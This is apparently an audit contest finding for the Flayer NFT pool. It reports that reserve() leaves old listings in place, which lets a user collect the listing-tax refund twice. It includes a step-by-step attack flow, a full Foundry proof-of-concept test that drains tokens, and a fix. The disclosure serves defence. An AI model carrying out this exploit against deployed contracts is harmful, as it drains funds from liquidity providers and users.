Crazy Chiffon Spider

High

# Malicious user can drain the Flayer pool, because reserve() does not delete old listing.

## Summary
The `reserve()` operation currently does not delete the old listing, so this opens a backdoor, which allows draining the CT tokens from the pool by receiving the refund for the fees twice.

## Vulnerability Detail

Here is a quick overview of how this is possible:
In the Flayer pool, listing tax is deposited when the listing is created; it's subtracted from the CT tokens that the user is supposed to receive [code snippet](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L149-L151).

And then, if a "closing listing" operation occurs, which can happen via `fillListings`, `cancelListings`, `relist()`, and `reserve()`, we then distribute the fees, some part of it to the UniswapV4 pool for the Liquidity providers, and the not used part of the fees we give as a refund to the owner of the listing. This "not used" part is calculated based on the time that has passed.
Example [code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L573-L577) in `fillListings()`.

Here is the flow for the attack:
- The owner lists their NFT and pays tax. So they receive `1CT `- `0.02CT `(listing fees) = +`0.98CT`.
- Uses another address and call to reserve it (as an owner cannot reserve it themselves ) The Listings contract sends a full refund to the owner since no time has passed. -> +`0.02CT`.
- Then the reserver withdraws it from the ProtectedListings contract using the unlock functionality, and pays -`1CT`.
- Now we have gained nothing, but have not lost anything; however, the listing is still in the _listings[] array, as the [reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L690-L759) has not deleted it.
- The malicious actor now deposits it into Locker.sol and gets +`1CT`.
- Then he can fill the deposit, since the _resolveListingTax() in fillListings() ([see here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L504-L505)) will be called with the same tokenId but the owner is not address(0), since we have not deleted the listing via reserve(), even though we directly deposited it into the `Locker.sol`, we will still skip this check and pay fees:
```solidity
    function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
        // If we have been passed a Floor item as the listing, then no tax should be handled
@>>     if (_listing.owner == address(0)) {
            return (fees_, refund_);
        }
```
-> Pay `1CT`, which we received when using deposit() in Locker.sol and refund `0.02CT` again to the owner via escrow functionality.
### Coded POC
Add this to Listings.t.sol and run with `forge test --match-test test_DrainContractFromReserveVuln -vvvv`
```solidity
    function test_DrainContractFromReserveVuln() public {
        //===========Setup===========
        listings.setProtectedListings(address(protectedListings));
        ICollectionToken token = locker.collectionToken(address(erc721a));
        //Ensure the listings already have some balance from fees, so we can cover expenses from our hack.
        deal(address(token), address(listings), 5 ether);
        uint startBalanceListings = token.balanceOf(address(listings));

        address _owner = address(0x77);
        address _ownerAlt = address(0x78);
        uint _tokenId = 2555;

        assertEq(token.denomination(), 0);
        uint startBalance = token.balanceOf(_owner);

        // reserve some CT balance for the alt, for ease of testing. 
        // We need alt acc to avoid the msg.sender check in the reserve() function.
        uint startBalanceAlt = 10 ether; 
        deal(address(token), _ownerAlt, startBalanceAlt);

        erc721a.mint(_owner, _tokenId);

        //===========Setup===========

        vm.startPrank(_owner);

        erc721a.approve(address(listings), _tokenId);
        Listings.Listing memory listing = IListings.Listing({
            owner: payable(_owner),
            created: uint40(block.timestamp),
            duration: 50 days,
            floorMultiple: 400 
        });

        // Create our listing
        _createListing({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: listing
            })
        });
       vm.stopPrank();

        skip(1); // Owner alt acts in second transaction.

        vm.startPrank(_ownerAlt);

        //--Reserve the NFT--//
        token.approve(address(listings), 5 ether);
        listings.reserve({
            _collection: address(erc721a),
            _tokenId: _tokenId,
            _collateral: 0.05 ether
        });
        //Now we should have succesfully reserved it, without deleting the old listing from the array in Listings.sol

        //--Unlock the NFT and withdraw it--//
        token.approve(address(protectedListings), 2 ether);
        protectedListings.unlockProtectedListing(address(erc721a), _tokenId, true);

        //--Now lets deposit it into the Locker.sol on behalf of the owner--//
        erc721a.setApprovalForAll(address(locker), true);
        locker.deposit(address(erc721a), _tokenIdToArray(_tokenId), _owner);

        // Its ready to be bought!
        uint[][] memory _tokenIdsOut = new uint[][](1);
        _tokenIdsOut[0] = new uint[](1);
        _tokenIdsOut[0][0] = _tokenId;

        token.approve(address(listings), 5 ether);
        listings.fillListings(
            IListings.FillListingsParams({
                collection: address(erc721a),
                tokenIdsOut: _tokenIdsOut
            })
        );

        vm.stopPrank();

        //Now lets withdraw the doubled refund amount.
        vm.startPrank(_owner);
        listings.withdraw(address(token), 4285713988095238094);
        
        //Done. Hacked successfully. Now lets confirm:
        assertTrue((token.balanceOf(_owner) + token.balanceOf(_ownerAlt)) > startBalanceAlt + startBalance);
        assertEq((token.balanceOf(_owner) + token.balanceOf(_ownerAlt)), 10642856845238095237);
        assertTrue(token.balanceOf(address(listings)) < startBalanceListings);
        // 10642856845238095237 - 10000000000000000000 = 0.642856845238095237 CT stolen.
    }
``` 

## Impact
All the CT tokens from a collection pool can be FULLY drained, by repeating this operation again and again.
We can easily steal `0.642856845238095237 CT` in one go, as shown in the **PoC**, if a floor price is worth ~ `$2000`, we drain `$1280` in just one iteration.

## Tool used

Manual Review

## Recommendation
```diff
    function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
    ...Skipping code...
            if (listingPrice > listingFloorPrice) {
                unchecked {
                    collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
                }
            }
            
            // Delete listing
+          delete _listings[_collection][_tokenId];
           unchecked { listingCount[_collection] -= 1; }
        }
...Skipping code....
```
